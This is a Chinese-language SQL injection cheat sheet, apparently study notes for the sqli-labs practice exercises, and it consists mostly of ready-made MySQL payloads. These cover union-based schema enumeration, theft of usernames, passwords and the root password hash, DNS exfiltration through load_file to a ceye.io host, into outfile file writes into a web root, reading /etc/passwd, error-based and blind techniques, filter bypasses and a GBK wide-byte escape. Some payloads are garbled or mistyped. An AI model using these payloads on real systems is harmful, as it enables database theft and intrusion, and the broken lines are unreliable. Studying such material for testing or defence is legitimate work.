库操作
表操作
数据操作
增加数据insert into 表名(键,键)values(值,值)
删除数据 delete from 表名 where 键=值(删除某一行数据)
修改数据 updata 表名 set 键 = 值 where 键=值
查询数据 select * fom 表名
5.0以上高版本MySQL的默认存在系统数据库:information_ schema、perfermance_ schema、sys、mysql
存放数据库所有信息的数据库 information_ schema(存放schemata、 table、columns等等)
存放数据库名的表 schemata
存放表的表 tables
存放字段的表 columns
判断请求方式
----浏览器F12 点网络---- 单引号闭合’ ‘ 双引号闭合“ ” 单引号括号闭合(’ ‘) 双引号括号闭合(“ ”) or 1=1 or 1=2 and 1=1 and 1=2
判断提交方式
get post cookies http
在链接后面添加语句【 union select 1,2,3,4,5,6,7,8,9,10,11#】进行联合查询(联合查询时记得把前面的查询为空)来暴露可查询的字段号。
猜字段回显位置: union select 1,2,3
GET:IP/Less-1/?id=100’ union select 1,(select database()),3–+
POST:union select 1,(select group_concat(schema_name) from information_schema.schemata),3–+
查看数据库长度length():and length(database())>10–+
查看数据库名字mid()或者left()
mid (string,start,length)返回指定的字符串从指定位置开始(可以用来猜数据库名 ):and mid(database(),1,1)>‘a’ //mid("abcde",1,2)返回b,mid(源串,起始位置1开始,要返回的字符个数),mid()返回字符串的子串
left (string,lenth) 返回最左边指定的字符数:and left(database(),1)>‘a’ (猜名字)
将查到的库名放到同一个字符串:select 1,GROUP_CONCAT(schema_name),3 from information_schema.schemata
查到数单个据库名发送到ceye:union select 1,(select load_file(concat(’\’,substr((select schema_name from information_schema.schemata limit 1),1,41),’.mysql.ip.port.38ljf2.ceye.io\abc’)))–+ //substr(源串,起始位置1开始,要返回的字符个数)用于字段的截取, LIMIT n 等价于 LIMIT 0,n。concat()函数用于将多个字符串连接成一个字符串。
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) ,3
将单个表名发送到ceye
uname=1’) union select 3,(select load_file(concat(’\’,substr((select table_name from information_schema.tables where table_schema =‘security’ limit 1),1,41),’.mysql.ip.port.38ljf2.ceye.io\abc’)))–+
127.0.0.1/Less-3/?id=100’) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’) --+
获取内容
union select 1,(select group_concat(username) from security.users limit 0,1),3
查询某一个表的字段名发送到ceye
union select 1,(select load_file(concat(’\’,substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=‘security’ limit 1),1,41),’.mysql.ip.port.38ljf2.ceye.io\abc’)))–+
outfile文件注入
union select 1,’’ into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-8\3.php’–+
into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-13\1.txt’
查root密码ceye代码
127.0.0.1/Less-1/?id=1’ union SELECT 1,(LOAD_FILE(CONCAT(’\’,mid((SELECT password FROM mysql.user WHERE user=‘root’ LIMIT 1),2,41),’.mysql.ip.port.38ljf2.ceye.io\abc’))),3–+
bug
uname=1’) or 1=1 into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-13\1.txt’;–+
这个文件里会有所有的用户名和密码
查询数据
union select 1,(select 1 from (select count(),concat((select(select(select distinct concat(username,password) from users limit 0,1))from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) --+
admin’ –
admin’ #
admin’/*
’ or 1=1–
’ or 1=1#
’ or 1=1/*
') or ‘1’='1–
') or (‘1’='1–
group_concat函数 可以把查询的内容组合成一个字符串
load_file(file name ) 读取文件并将文件按字符串返回
left(string,length)返回最左边指定的字符数:
left(database(),1)>‘s’ (猜名字)
length()判断长度
length(database()>5
substr(a,b,c)从字符串a中截取 b到c长度
ascii()将某个字符转为ascii值
ascii(substr(user(),1,1))=101#
mid((a,b,c)从字符串a中截取 b到c位置(可以用来猜数据库名 )
查看当前用户:union select 1,(select user())–+
查看数据库版本:union select 1,(select version())–+
查看当前数据库名:union select 1,(select database())–+
查看操作系统union select 1,(select @@version_compile_os)–+
所有用户:
union select 1,(select group_concat(user) from mysql.user)–
用户hash
union select 1,(select group_concat(password) from mysql.user where user=‘root’)
查看所有数据库名
union select 1,(SELECT group_concat(schema_name) from information_schema.schemata)–+
查看某一个库的全部表
union select 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema=‘库名’)–+
union select 1,(SELECT group_concat(table_name) from information_schema.table_constraints where table_schema=‘库名’
查看某个表的字段名
union select 1,(SELECT group_concat(column_name) from information_schema.columns where table_name=‘表名’)–+
查看某个库中某个表的字段名
union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘表名’ and table_schema=‘库名’)–+
读文件
union select 1,(SELECT load_file(’/etc/passwd’))–+
写文件
union select 1,’’ into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-8\3.php’–+
猜字段长度:order by 数字 uname=1’ order by 2 暴字段位置:union select 1,2 uname=1’ union select 1,2 在指定表中查询制指定用户的密码:union SELECT 1,password from 表 where username=‘用户名’–+
floor (SELECT user()可修改)
OR (SELECT 8627 FROM(SELECT COUNT(),CONCAT(0x70307e,(SELECT user()),0x7e7030,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)–+
ExtractValue(有长度限制,最长32位) (select @@version可修改)
and extractvalue(1, concat(0x7e, (select @@version),0x7e))–+
UpdateXml(有长度限制,最长32位) (SELECT @@version可修改)
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)–+
NAME_CONST(适用于低版本,不太好用)
and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)–+
Error based Double Query Injection
or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1–+
exp(5.5.5以上) (select user()可修改)
and (select exp(~(select * from(select user())x)))–+
floor(Mysql): and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a);
Extractvalue(Mysql): and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
Updatexml(Mysql): and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
EXP: and exp(~(select * from(select user())a));
UTL INADDR. get host address(Oracle): and 1=utl inaddrget host address(select bannerO from sys.v_$version where rownum=1))
multipoint(Mysql):and multipoint((select * from(select * from(select user())a)b));
polygon(Mysql):and polygon((select * from(select * from(select user())a)b));
multipolygon(Mysql):and multipolygon((select * from(select * from(select user())a)b));
linestring(Mysql):and linestring((select * from(select * from(select user())a)b));
multilinestring(Mysql):and multilinestring((select * from(select * from(select user())a)b));
盲注的时候一定注意,MySQL4之后大小写不敏感,可使用binary()函数使大小写敏感。
//正常情况
'or bool#
true'and bool#
//不使用空格、注释
'or(bool)='1
true'and(bool)='1
//不使用or、and、注释
'^!(bool)='1
'=(bool)='
'||(bool)='1
true'%26%26(bool)='1
'=if((bool),1,0)='0
//不使用等号、空格、注释
'or(bool)<>'0
'or((bool)in(1))or'0
//其他
or (case when (bool) then 1 else 0 end)
有时候where字句有括号又猜不到SQL语句的时候,可以有下列类似的fuzz
1' or (bool) or '1'='1
1%' and (bool) or 1=1 and '1'='1
1' or (bool) or '1'='1
1%' and (bool) or 1=1 and '1'='1
逻辑判断基本就那些函数:
left(user(),1)>'r'
right(user(),1)>'r'
substr(user(),1,1)='r'
mid(user(),1,1)='r'
//不使用逗号
user() regexp '[1]'
user() like 'root%'
POSITION('root' in user())
mid(user() from 1 for 1)='r'
mid(user() from 1)='r'
mysql> select * from admin where username='' or 1 union select 1,2,'5' order by 3;
+----+--------------+------------------------
| id | username | password
+----+--------------+------------------------
| 1 | 2 | 5
| 1 | admin | 51b7a76d51e70b419f60d34
+----+----------- --+------------------------
2 rows in set (0.00 sec)
mysql> select * from admin where username='' or 1 union select 1,2,'6' order by 3;
+-----+-----------+--------------------------
|id | username | password
+-----+-----------+--------------------------
| 1 | admin |51b7a76d51e70b419f60d3
| 1 | 2 | 6
+-----+-----------+--------------------------
2 rows in set (0.01 sec)
mysql> select * from admin where username='' or 1 union select 1,2,'5' order by 3;
+----+--------------+------------------------
| id | username | password
+----+--------------+------------------------
| 1 | 2 | 5
| 1 | admin | 51b7a76d51e70b419f60d34
+----+----------- --+------------------------
2 rows in set (0.00 sec)
mysql> select * from admin where username='' or 1 union select 1,2,'6' order by 3;
+-----+-----------+--------------------------
|id | username | password
+-----+-----------+--------------------------
| 1 | admin |51b7a76d51e70b419f60d3
| 1 | 2 | 6
+-----+-----------+--------------------------
2 rows in set (0.01 sec)
相对于bool盲注,就是把返回值0和1改为是否执行延时,能用其他方法就不使用延时。
一般格式if((bool),sleep(3),0)和or (case when (bool) then sleep(3) else 0 end)
两个函数:
BENCHMARK(100000,MD5(1))
sleep(5)
BENCHMARK()用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu资源。推荐使用sleep()
1. -- - 2. /* .... */ 3. # 4. ` 5. ;%00
在分号前加%df%27
%27 为’的URL编码。前端输入%df时,首先经过addslashes()转义变成了%df%5c%27,之后,在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码为一个汉字,然后Mysql数据库就会对查询语句进行GBK编码,即%df%5c被编成了,而单引号就逃逸出来了,从而形成了注入漏洞。
示例:id=1%df%27 union select 1.2–+
a-z ↩︎